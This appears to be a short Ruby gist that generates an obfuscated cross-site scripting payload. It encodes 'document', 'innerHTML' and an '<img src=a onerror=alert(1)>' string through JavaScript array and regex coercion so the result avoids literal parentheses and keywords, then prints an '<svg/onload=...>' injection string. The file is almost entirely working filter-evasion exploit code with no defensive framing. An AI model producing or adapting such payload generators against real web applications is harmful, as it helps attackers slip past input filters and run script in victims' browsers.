gistfile1.txt

#a="document";b="innerHTML";c="<svg/onload='alert(1)'>";window[a].body[b]=c

def brackets
  "z=[]%2batob;l=z[13];r=z[14];s=z[8];"
end

def funk(name, str)
  str = str.gsub('(','Z').gsub(')', 'X')

  s = "#{name}=[]%2b/#{str.reverse}/;#{name}=";
  s += (0..(str.length-1)).map {|n|
    if str.reverse[str.length - n - 1] == 'Z'
      "l"
    elsif (str.reverse[str.length - n - 1] == 'X')
      "r"
    elsif (str.reverse[str.length - n - 1] == 'S')
      "#{name}[0]"
    elsif (str.reverse[str.length - n - 1] == 'F')
      "s"
    else
      "#{name}[#{str.length - n}]"
    end
  }.join("%2b")
  s += ";"
end




#puts "<svg/onload=" + brackets + funk('a', 'documentLR') + '//'

puts "<svg/onload=" + brackets + funk('a', "document") + funk("b", "innerHTML") + funk("c", "<imgFsrc=aF") + funk("d", "onerror=alert(1)") + "window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//"